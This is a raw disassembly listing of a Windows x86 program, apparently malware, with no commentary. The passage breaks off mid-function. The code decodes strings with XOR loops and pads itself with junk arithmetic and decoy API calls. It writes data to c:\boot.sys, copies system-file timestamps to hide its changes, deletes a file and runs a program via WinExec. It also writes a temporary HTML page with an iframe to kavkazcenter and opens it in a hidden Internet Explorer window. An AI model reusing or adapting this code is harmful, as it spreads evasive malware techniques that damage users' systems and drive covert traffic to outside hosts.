push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
mov eax, dword_441438
lea eax, ds:414490h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov [ebp+var_4], 7
xor edi, edi
jmp short loc_408126
; ---------------------------------------------------------------------------
loc_40810F: ; CODE XREF: sub_4080E0+48j
mov eax, dword_441438
add eax, edi
lea eax, ds:414490h[eax]
movsx edx, byte ptr [eax]
xor edx, 9
mov [eax], dl
inc edi
loc_408126: ; CODE XREF: sub_4080E0+2Dj
cmp edi, esi
jl short loc_40810F
mov [ebp+var_8], 1ADh
mov eax, dword_441438
add eax, esi
mov byte ptr ds:dword_414490[eax], 0
xor edi, edi
mov edi, dword_441438
add dword_441438, 2
mov eax, dword_441438
add eax, 5
add eax, esi
mov dword_441438, eax
add dword_441438, 2
cmp dword_441438, 0DECh
jle short loc_408178
and dword_441438, 0
loc_408178: ; CODE XREF: sub_4080E0+8Fj
mov [ebp+var_C], 187h
lea eax, dword_414490[edi]
pop edi
pop esi
leave
retn
sub_4080E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408189 proc near ; DATA XREF: sub_40A766+7EDo
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
call sub_40C508 ; GetCurrentProcessId
xor ebx, ebx
mov [ebp+var_4], ebx
mov [ebp+var_C], ebx
loc_40819F: ; CODE XREF: sub_408189+140j
; sub_408189+14Bj ...
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 3Ah
jnz loc_4082B3
mov [ebp+var_D], 8Fh
add [ebp+var_D], 1
mov eax, [ebp+arg_0]
cmp byte ptr [ebx+eax+11h], 20h
jz short loc_4081C9
cmp byte ptr [ebx+eax+14h], 20h
jnz loc_4082B3
loc_4081C9: ; CODE XREF: sub_408189+33j
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_0]
mov al, [ebx+eax+1]
cmp al, 34h
jz short loc_4081E1
cmp al, 35h
jnz loc_4082B3
loc_4081E1: ; CODE XREF: sub_408189+4Ej
mov eax, [ebp+arg_0]
cmp byte ptr [ebx+eax+11h], 20h
jnz short loc_4081F4
mov [ebp+var_4], 10h
jmp short loc_4081FB
; ---------------------------------------------------------------------------
loc_4081F4: ; CODE XREF: sub_408189+60j
mov [ebp+var_4], 13h
loc_4081FB: ; CODE XREF: sub_408189+69j
mov [ebp+var_5], 0
xor esi, esi
jmp loc_408286
; ---------------------------------------------------------------------------
loc_408206: ; CODE XREF: sub_408189+100j
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+var_4], 13h
jnz short loc_40824E
lea eax, [ebx+esi+1]
mov edx, [ebp+arg_0]
cmp byte ptr [edx+eax], 2Dh
jnz short loc_40824E
mov edi, 5
mov edx, esi
inc edx
mov [ebp+var_1C], edx
mov [ebp+var_14], edi
mov eax, edx
mov [ebp+var_18], eax
mov ecx, edi
xor edx, edx
div ecx
mov [ebp+var_20], eax
mov eax, edi
mov edi, [ebp+var_20]
mul [ebp+var_20]
mov [ebp+var_24], eax
mov edi, [ebp+var_1C]
mov edx, eax
cmp edx, edi
jz short loc_408285
loc_40824E: ; CODE XREF: sub_408189+86j
; sub_408189+93j
call sub_40C634 ; IsDebuggerPresent
lea eax, [ebx+esi+1]
mov edx, [ebp+arg_0]
mov al, [edx+eax]
cmp al, 30h
jl short loc_408265
cmp al, 39h
jle short loc_408267
loc_408265: ; CODE XREF: sub_408189+D6j
jmp short loc_4082B3
; ---------------------------------------------------------------------------
loc_408267: ; CODE XREF: sub_408189+DAj
call sub_40C5A4 ; GetVersion
movzx eax, [ebp+var_5]
lea edx, [ebx+esi+1]
mov ecx, [ebp+arg_0]
mov dl, [ecx+edx]
mov ds:byte_432F00[eax], dl
add [ebp+var_5], 1
loc_408285: ; CODE XREF: sub_408189+C3j
inc esi
loc_408286: ; CODE XREF: sub_408189+78j
cmp esi, [ebp+var_4]
jb loc_408206
mov eax, [ebp+var_4]
mov ds:byte_432F00[eax], 0
call sub_401334
or eax, eax
jz short loc_4082AA
call sub_40C514 ; GetCurrentThreadId
jmp short loc_4082B3
; ---------------------------------------------------------------------------
loc_4082AA: ; CODE XREF: sub_408189+118j
mov [ebp+var_C], 1
jmp short loc_40830A
; ---------------------------------------------------------------------------
loc_4082B3: ; CODE XREF: sub_408189+1Dj
; sub_408189+3Aj ...
inc ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 0
jz short loc_408306
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_0]
cmp byte ptr [eax+ebx], 3Ch
jnz loc_40819F
cmp byte ptr [ebx+eax+1], 46h
jnz loc_40819F
cmp byte ptr [ebx+eax+2], 4Fh
jnz loc_40819F
cmp byte ptr [ebx+eax+3], 52h
jnz loc_40819F
cmp byte ptr [ebx+eax+4], 4Dh
jnz loc_40819F
cmp byte ptr [ebx+eax+5], 5Fh
jnz loc_40819F
loc_408306: ; CODE XREF: sub_408189+132j
and [ebp+var_C], 0
loc_40830A: ; CODE XREF: sub_408189+128j
cmp [ebp+var_C], 0
jz short loc_40831F
mov eax, ds:dword_42EB94
mov dword_43B214, eax
jmp loc_4083E0
; ---------------------------------------------------------------------------
loc_40831F: ; CODE XREF: sub_408189+185j
mov word ptr [ebp+var_18], 69C0h
movzx eax, word ptr [ebp+var_18]
imul eax, 3F8Fh
mov word ptr [ebp+var_18], ax
push 0
push 0
push 4
push 0
push 0
push 40000000h
push offset dword_40E010
call sub_40C67C ; CreateFileA
mov [ebp+var_14], eax
call sub_40C508 ; GetCurrentProcessId
push 2
push 0
push 0
push [ebp+var_14]
call sub_40C6AC ; SetFilePointer
mov byte ptr [ebp+var_1C+3], 2Ah
add byte ptr [ebp+var_1C+3], 1
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_408372: ; CODE XREF: sub_408189+1EEj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_408372
mov edi, eax
push 0
lea edx, [ebp+var_20]
push edx
push edi
push [ebp+arg_0]
push [ebp+var_14]
call sub_40C730 ; WriteFile
mov word ptr [ebp+var_18+2], 73F4h
movzx eax, word ptr [ebp+var_18+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_18+2], ax
push 2
push offset byte_445F8B
call sub_4080E0
add esp, 8
push 0
lea edi, [ebp+var_20]
push edi
mov edi, 0Dh
sub edi, dword_441434
push edi
push eax
push [ebp+var_14]
call sub_40C730 ; WriteFile
call sub_40C514 ; GetCurrentThreadId
push [ebp+var_14]
call sub_40C55C ; CloseHandle
mov byte ptr [ebp+var_1C+2], 24h
add byte ptr [ebp+var_1C+2], 36h
loc_4083E0: ; CODE XREF: sub_408189+191j
pop edi
pop esi
pop ebx
leave
retn
sub_408189 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083E5 proc near ; CODE XREF: sub_40847D+7Fp
; sub_4085D0+E8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 34Dh
push esi
push [ebp+arg_0]
mov eax, dword_445448
lea eax, ds:40D000h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_40842D
; ---------------------------------------------------------------------------
loc_408413: ; CODE XREF: sub_4083E5+4Aj
mov eax, dword_445448
add eax, edi
lea eax, ds:40D000h[eax]
movsx edx, byte ptr [eax]
xor edx, 0C8h
mov [eax], dl
inc edi
loc_40842D: ; CODE XREF: sub_4083E5+2Cj
cmp edi, esi
jl short loc_408413
mov eax, dword_445448
add eax, esi
mov byte ptr ds:dword_40D000[eax], 0
mov edi, dword_445448
mov eax, edi
add eax, 2
add eax, esi
mov dword_445448, eax
add dword_445448, 2
cmp dword_445448, 0E0Bh
jle short loc_40846C
and dword_445448, 0
loc_40846C: ; CODE XREF: sub_4083E5+7Ej
mov [ebp+var_8], 16Bh
lea eax, dword_40D000[edi]
pop edi
pop esi
leave
retn
sub_4083E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40847D proc near ; CODE XREF: sub_4085D0+A4p
var_239 = byte ptr -239h
var_238 = dword ptr -238h
var_232 = word ptr -232h
var_230 = byte ptr -230h
var_228 = byte ptr -228h
var_220 = byte ptr -220h
var_218 = byte ptr -218h
var_213 = byte ptr -213h
var_10E = word ptr -10Eh
var_10C = word ptr -10Ch
var_10A = word ptr -10Ah
var_107 = byte ptr -107h
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 23Ch
push ebx
push esi
push edi
mov [ebp+var_2], 149Fh
sub [ebp+var_2], 654Ch
lea edi, [ebp+var_218]
lea esi, aMvwp ; "Mwp"
mov ecx, 5
rep movsb
mov [ebp+var_10A], 1680h
sub [ebp+var_10A], 13D8h
push 104h
lea eax, [ebp+var_213]
push eax
call sub_40C580 ; GetSystemDirectoryA
mov [ebp+var_10C], 696Dh
sub [ebp+var_10C], 0DF2h
lea eax, [ebp+var_213]
push eax
lea eax, [ebp+var_107]
push eax
call sub_40C4B8
call sub_40C598 ; GetTickCount
push 0Dh
push offset byte_445F7D
call sub_4083E5
push eax
lea edi, [ebp+var_107]
push edi
call sub_40CA54
add esp, 10h
push 0
push 0
push 3
push 0
push 0
push 80000001h
lea eax, [ebp+var_107]
push eax
call sub_40C67C ; CreateFileA
mov ebx, eax
mov [ebp+var_10E], 5E47h
sub [ebp+var_10E], 6CA2h
cmp ebx, 0FFFFFFFFh
jz loc_4085CB
mov [ebp+var_232], 5F48h
movzx eax, [ebp+var_232]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_232], ax
lea eax, [ebp+var_230]
push eax
lea eax, [ebp+var_228]
push eax
lea eax, [ebp+var_220]
push eax
push ebx
call sub_40C52C ; GetFileTime
mov [ebp+var_238], 1E63h
sub [ebp+var_238], 38B1h
lea eax, [ebp+var_230]
push eax
lea eax, [ebp+var_228]
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_0]
call sub_40C6B8 ; SetFileTime
mov [ebp+var_239], 0Dh
add [ebp+var_239], 54h
push ebx
call sub_40C55C ; CloseHandle
call sub_40C598 ; GetTickCount
loc_4085CB: ; CODE XREF: sub_40847D+C6j
pop edi
pop esi
pop ebx
leave
retn
sub_40847D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085D0 proc near ; CODE XREF: sub_40A766+A0p
var_225 = dword ptr -225h
var_221 = byte ptr -221h
var_220 = byte ptr -220h
var_21B = word ptr -21Bh
var_219 = byte ptr -219h
var_115 = byte ptr -115h
var_109 = byte ptr -109h
var_108 = byte ptr -108h
var_107 = byte ptr -107h
var_106 = word ptr -106h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 228h
push ebx
push esi
push edi
call sub_40C574 ; GetProcessHeap
call sub_40C5A4 ; GetVersion
cmp eax, 80000000h
jnb loc_408730
mov [ebp+var_106], 53DAh
inc [ebp+var_106]
lea edi, [ebp+var_115]
lea esi, aCBoot_sys ; "c:\\boot.sys"
mov ecx, 3
rep movsd
mov ax, word_44545D
mov [ebp+var_21B], ax
push 0
push 0
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_115]
push eax
call sub_40C67C ; CreateFileA
mov ebx, eax
mov [ebp+var_107], 56h
add [ebp+var_107], 1
push 0
lea eax, [ebp+var_220]
push eax
push 4001h
push offset dword_44143C
push ebx
call sub_40C730 ; WriteFile
mov [ebp+var_108], 0F0h
sub [ebp+var_108], 6
push ebx
call sub_40847D
call sub_40C508 ; GetCurrentProcessId
push ebx
call sub_40C55C ; CloseHandle
lea edi, [ebp+var_221]
lea esi, byte_44545F
xor ecx, ecx
inc ecx
rep movsb
push 104h
lea eax, [ebp+var_104]
push eax
call sub_40C580 ; GetSystemDirectoryA
mov eax, dword_445460
mov [ebp+var_225], eax
push 0Ah
push offset aAFlemcBo ; "ķ»«„¬ęø”®"
call sub_4083E5
lea edi, [ebp+var_104]
push edi
push eax
lea edi, [ebp+var_219]
push edi
call sub_40CA30
call sub_40C634 ; IsDebuggerPresent
push 1Dh
push offset dword_445F54
call sub_4083E5
push eax
lea edi, [ebp+var_104]
push edi
call sub_40CA54
add esp, 28h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_219]
push eax
call sub_40C760 ; DeleteFileA
mov [ebp+var_109], 0C1h
movzx eax, [ebp+var_109]
imul eax, 2ED3h
mov [ebp+var_109], al
push 0
lea eax, [ebp+var_104]
push eax
call sub_40C724 ; WinExec
call sub_40C598 ; GetTickCount
loc_408730: ; CODE XREF: sub_4085D0+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4085D0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_4454EC
lea eax, ds:431D10h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_408775
; ---------------------------------------------------------------------------
loc_40875B: ; CODE XREF: .text:00408777j
mov eax, dword_4454EC
add eax, edi
lea eax, ds:431D10h[eax]
movsx edx, byte ptr [eax]
xor edx, 0C3h
mov [eax], dl
inc edi
loc_408775: ; CODE XREF: .text:00408759j
cmp edi, esi
jl short loc_40875B
mov eax, dword_4454EC
add eax, esi
mov byte ptr ds:dword_431D10[eax], 0
mov edi, dword_4454EC
add dword_4454EC, 3
mov eax, dword_4454EC
add eax, 5
add eax, esi
mov dword_4454EC, eax
cmp eax, 0E02h
jle short loc_4087B2
and dword_4454EC, 0
loc_4087B2: ; CODE XREF: .text:004087A9j
mov dword ptr [ebp-4], 2B6h
lea eax, dword_431D10[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087C3 proc near ; CODE XREF: sub_4088D5+4Ap
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push edi
mov [ebp+var_1], 0A2h
add [ebp+var_1], 1
push 4
push 1000h
push [ebp+arg_0]
push 0
call sub_40C6E8 ; VirtualAlloc
jmp short loc_4087EE
; ---------------------------------------------------------------------------
mov edi, 369Ah
mov eax, edi
add eax, edi
mov edi, eax
loc_4087EE: ; CODE XREF: sub_4087C3+1Ej
pop edi
leave
retn
sub_4087C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087F1 proc near ; CODE XREF: sub_4088D5+E6p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ax, word_4454F0
mov [ebp+var_2], ax
push 8000h
push 0
push [ebp+arg_0]
call sub_40C6F4 ; VirtualFree
jmp short locret_408815
; ---------------------------------------------------------------------------
call sub_40C514 ; GetCurrentThreadId
locret_408815: ; CODE XREF: sub_4087F1+1Dj
leave
retn
sub_4087F1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
push esi
push dword ptr [ebp+8]
mov eax, dword_4454FC
lea eax, ds:439340h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_408857
; ---------------------------------------------------------------------------
loc_40883D: ; CODE XREF: .text:00408859j
mov eax, dword_4454FC
add eax, edi
lea eax, ds:439340h[eax]
movsx edx, byte ptr [eax]
xor edx, 0C3h
mov [eax], dl
inc edi
loc_408857: ; CODE XREF: .text:0040883Bj
cmp edi, esi
jl short loc_40883D
mov eax, dword_4454FC
add eax, esi
mov byte ptr ds:dword_439340[eax], 0
mov edi, dword_4454FC
add dword_4454FC, 3
mov eax, dword_4454FC
add eax, 5
add eax, esi
mov dword_4454FC, eax
cmp eax, 0E02h
jle short loc_408894
and dword_4454FC, 0
loc_408894: ; CODE XREF: .text:0040888Bj
mov dword ptr [ebp-4], 2B6h
lea eax, dword_439340[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088A5 proc near ; CODE XREF: sub_4088D5+100p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
mov [ebp+var_1], 0A2h
add [ebp+var_1], 1
push offset dword_4454A4
push offset dword_445464
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40BA60
mov edi, 369Ah
mov eax, edi
add eax, edi
mov edi, eax
pop edi
leave
retn
sub_4088A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088D5 proc near ; CODE XREF: sub_409847+4BCp
var_6A = word ptr -6Ah
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_61 = byte ptr -61h
var_5E = word ptr -5Eh
var_5C = byte ptr -5Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 6Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov ax, word_445500
mov [ebp+var_5E], ax
lea edi, [ebp+var_61]
lea esi, word_445502
mov ecx, 3
rep movsb
lea edi, [ebp+var_64]
lea esi, byte_445505
mov ecx, 3
rep movsb
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_408916
add eax, 3Fh
loc_408916: ; CODE XREF: sub_4088D5+3Cj
sar eax, 6
mov edi, eax
shl edi, 6
push edi
call sub_4087C3
pop ecx
mov [ebp+var_18], eax
call sub_40C634 ; IsDebuggerPresent
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_408938
add eax, 3Fh
loc_408938: ; CODE XREF: sub_4088D5+5Ej
sar eax, 6
mov edi, eax
shl edi, 6
push edi
push [ebp+var_18]
call sub_40C6A0 ; RtlZeroMemory
call sub_40C514 ; GetCurrentThreadId
push [ebp+arg_4]
push ebx
push [ebp+var_18]
call sub_40C9F4
add esp, 0Ch
mov eax, dword_445508
mov [ebp+var_68], eax
lea eax, [ebp+var_14]
push eax
call sub_40BB9E
call sub_40C598 ; GetTickCount
mov ebx, [ebp+var_18]
and [ebp+var_4], 0
jmp short loc_4089A5
; ---------------------------------------------------------------------------
loc_40897C: ; CODE XREF: sub_4088D5+E1j
call sub_40C508 ; GetCurrentProcessId
push ebx
lea eax, [ebp+var_14]
push eax
call sub_40BBC5
mov [ebp+var_6A], 3E0Fh
movzx eax, [ebp+var_6A]
imul eax, 4D56h
mov [ebp+var_6A], ax
add ebx, 40h
inc [ebp+var_4]
loc_4089A5: ; CODE XREF: sub_4088D5+A5j
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_4089B0
add eax, 3Fh
loc_4089B0: ; CODE XREF: sub_4088D5+D6j
sar eax, 6
cmp [ebp+var_4], eax
jl short loc_40897C
push [ebp+var_18]
call sub_4087F1
mov [ebp+var_1C], 5CDFh
add [ebp+var_1C], 4710h
lea eax, [ebp+var_5C]
push eax
push [ebp+arg_8]
call sub_4088A5
mov eax, dword_4454F4
add eax, 0Eh
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_5C]
push eax
call sub_40C9E8
add esp, 18h
or eax, eax
jz short loc_4089FC
xor eax, eax
inc eax
jmp short loc_408A03
; ---------------------------------------------------------------------------
loc_4089FC: ; CODE XREF: sub_4088D5+120j
call sub_40C5A4 ; GetVersion
xor eax, eax
loc_408A03: ; CODE XREF: sub_4088D5+125j
pop edi
pop esi
pop ebx
leave
retn
sub_4088D5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+0Ch]
mov dword ptr [ebp-4], 3D4h
push esi
push dword ptr [ebp+8]
mov eax, dword_445514
lea eax, ds:438220h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_408A4C
; ---------------------------------------------------------------------------
loc_408A35: ; CODE XREF: .text:00408A4Ej
mov eax, dword_445514
add eax, edi
lea eax, ds:438220h[eax]
movsx edx, byte ptr [eax]
xor edx, 25h
mov [eax], dl
inc edi
loc_408A4C: ; CODE XREF: .text:00408A33j
cmp edi, esi
jl short loc_408A35
mov eax, dword_445514
add eax, esi
mov byte ptr ds:dword_438220[eax], 0
mov edi, dword_445514
mov eax, edi
add eax, 4
add eax, esi
mov dword_445514, eax
add dword_445514, 3
cmp dword_445514, 0DCBh
jle short loc_408A8B
and dword_445514, 0
loc_408A8B: ; CODE XREF: .text:00408A82j
lea eax, dword_438220[edi]
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408A95 proc near ; CODE XREF: sub_409847+40Fp
; sub_409847+434p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_1F = byte ptr -1Fh
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov [ebp+var_16], 6062h
movzx eax, [ebp+var_16]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_16], ax
call sub_40C634 ; IsDebuggerPresent
xor eax, eax
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
add eax, [ebp+var_8]
mov [ebp+var_C], eax
mov ebx, [ebp+arg_0]
jmp loc_408BB9
; ---------------------------------------------------------------------------
loc_408AD9: ; CODE XREF: sub_408A95+12Fj
call sub_40C634 ; IsDebuggerPresent
movsx edi, byte ptr [ebx]
shl edi, 2
mov edi, dword_445518[edi]
mov [ebp+var_4], edi
cmp edi, 0FFFFFFFFh
jz loc_408BB8
lea edi, [ebp+var_1F]
lea esi, aJwouJ? ; "jWOu J?"
movsd
movsd
mov eax, [ebp+var_10]
or eax, eax
jl loc_408BB2
cmp eax, 3
jg loc_408BB2
jmp off_445924[eax*4]
; ---------------------------------------------------------------------------
mov eax, dword_445920
mov [ebp+var_2C], eax
loc_408B25: ; CODE XREF: sub_408A95+81j
; DATA XREF: .data:off_445924o
inc [ebp+var_10]
call sub_40C598 ; GetTickCount
jmp loc_408BB2
; ---------------------------------------------------------------------------
loc_408B32: ; CODE XREF: sub_408A95+81j
; DATA XREF: .data:00445928o
mov edi, [ebp+var_14]
shl edi, 2
mov esi, [ebp+var_4]
and esi, 30h
sar esi, 4
or edi, esi
mov edx, edi
mov [ebp+var_17], dl
mov [ebp+var_28], 6A69h
mov eax, [ebp+var_28]
mov edx, eax
add edx, eax
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_17]
mov [eax], dl
inc [ebp+var_10]
jmp short loc_408BB2
; ---------------------------------------------------------------------------
loc_408B69: ; CODE XREF: sub_408A95+81j
; DATA XREF: .data:0044592Co
mov edi, [ebp+var_14]
and edi, 0Fh
shl edi, 4
mov esi, [ebp+var_4]
and esi, 3Ch
sar esi, 2
or edi, esi
mov edx, edi
mov [ebp+var_17], dl
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_17]
mov [eax], dl
inc [ebp+var_10]
jmp short loc_408BB2
; ---------------------------------------------------------------------------
loc_408B92: ; CODE XREF: sub_408A95+81j
; DATA XREF: .data:00445930o
mov edi, [ebp+var_14]
and edi, 3
shl edi, 6
or edi, [ebp+var_4]
mov edx, edi
mov [ebp+var_17], dl
mov eax, [ebp+var_8]
inc [ebp+var_8]
mov dl, [ebp+var_17]
mov [eax], dl
and [ebp+var_10], 0
loc_408BB2: ; CODE XREF: sub_408A95+72j
; sub_408A95+7Bj ...
mov eax, [ebp+var_4]
mov [ebp+var_14], eax
loc_408BB8: ; CODE XREF: sub_408A95+5Cj
inc ebx
loc_408BB9: ; CODE XREF: sub_408A95+3Fj
cmp byte ptr [ebx], 0
jz short loc_408BCA
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_408AD9
loc_408BCA: ; CODE XREF: sub_408A95+127j
cmp byte ptr [ebx], 0
jnz short loc_408BDC
call sub_40C538 ; RtlGetLastWin32Error
mov eax, [ebp+var_8]
sub eax, [ebp+arg_4]
jmp short loc_408BDF
; ---------------------------------------------------------------------------
loc_408BDC: ; CODE XREF: sub_408A95+138j
or eax, 0FFFFFFFFh
loc_408BDF: ; CODE XREF: sub_408A95+145j
pop edi
pop esi
pop ebx
leave
retn
sub_408A95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408BE4 proc near ; CODE XREF: sub_409847:loc_40A5BFp
var_370 = byte ptr -370h
var_36C = byte ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_24C = byte ptr -24Ch
var_148 = dword ptr -148h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 370h
push ebx
push esi
push edi
lea eax, [ebp+var_104]
push eax
push 104h
call sub_40C58C ; GetTempPathA
lea ecx, [ebp+var_104]
or eax, 0FFFFFFFFh
loc_408C0A: ; CODE XREF: sub_408BE4+2Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_408C0A
mov esi, eax
push 8
lea ebx, [ebp+var_104]
add ebx, esi
push ebx
call sub_40170F
add esp, 8
push offset a_htm ; ".htm"
lea eax, [ebp+var_104]
push eax
call sub_40CA54
add esp, 8
push 0
push 80h
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_104]
push eax
call sub_40C67C ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_408DEA
push 2
push 0
push 0
push edi
call sub_40C6AC ; SetFilePointer
lea ecx, aHtmlIframeSrcH ; "<html><iframe src=http://kavkazcenter.c"...
or eax, 0FFFFFFFFh
loc_408C78: ; CODE XREF: sub_408BE4+99j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_408C78
mov esi, eax
push 0
lea ebx, [ebp+var_36C]
push ebx
push esi
push offset aHtmlIframeSrcH ; "<html><iframe src=http://kavkazcenter.c"...
push edi
call sub_40C730 ; WriteFile
push edi
call sub_40C55C ; CloseHandle
mov [ebp+var_364], 104h
lea eax, [ebp+var_370]
push eax
lea eax, [ebp+var_364]
push eax
lea eax, [ebp+var_360]
push eax
push offset aPath ; "Path"
push offset aSoftwareMicros ; "Software\\Microsoft\\IE Setup\\Setup"
push 80000002h
call sub_4014BD
add esp, 18h
mov [ebp+var_368], eax
cmp [ebp+var_368], 0
jz loc_408DEA
push 104h
lea eax, [ebp+var_24C]
push eax
lea eax, [ebp+var_360]
push eax
call sub_40C4F0 ; ExpandEnvironmentStringsA
push offset aIexplore_exe ; "\\Iexplore.exe "
lea eax, [ebp+var_24C]
push eax
call sub_40CA54
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_24C]
push eax
call sub_40CA54
call sub_404527
mov edi, eax
push 44h
push 0
lea eax, [ebp+var_148]
push eax
call sub_40CA00
push 44h
push 0
lea eax, [ebp+var_148]
push eax
call sub_40CA00
add esp, 28h
mov [ebp+var_148], 44h
mov [ebp+var_11C], 1
mov [ebp+var_118], 1
or edi, edi
jz short loc_408D7B
lea eax, [ebp+var_148]
push eax
call sub_4045B7
pop ecx
jmp short loc_408D84
; ---------------------------------------------------------------------------
loc_408D7B: ; CODE XREF: sub_408BE4+186j
mov [ebp+var_118], 0
loc_408D84: ; CODE XREF: sub_408BE4+195j
lea eax, [ebp+var_25C]
push eax
lea eax, [ebp+var_148]
push eax
push 0
push 0
push 20h
push 0
push 0
push 0
lea eax, [ebp+var_24C]
push eax
push 0
call sub_40C70C ; CreateProcessA
or eax, eax
jz short loc_408DDE
push [ebp+var_258]
call sub_40C55C ; CloseHandle
push 0EA60h
call sub_40C9B8
pop ecx
push 0
push [ebp+var_25C]
call sub_40C6DC ; TerminateProcess
push [ebp+var_25C]
call sub_40C55C ; CloseHandle
loc_408DDE: ; CODE XREF: sub_408BE4+1CAj
lea eax, [ebp+var_104]
push eax
call sub_40C760 ; DeleteFileA
loc_408DEA: ; CODE XREF: sub_408BE4+79j
; sub_408BE4+FBj
pop edi
pop esi
pop ebx
leave
retn
sub_408BE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408DEF proc near ; CODE XREF: sub_408E89+27p
; sub_408E89+41p ...
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_40C498
push esi
push edi
call sub_40C598 ; GetTickCount
push 5
push [ebp+arg_0]
call sub_40C790 ; GetWindow
mov edi, eax
mov esi, 60E9h
mov eax, 7C4Ah
mul esi
mov [ebp+var_1008], eax
mov esi, eax
loc_408E23: ; CODE XREF: sub_408DEF+94j
or edi, edi
jnz short loc_408E2B
xor eax, eax
jmp short loc_408E85
; ---------------------------------------------------------------------------
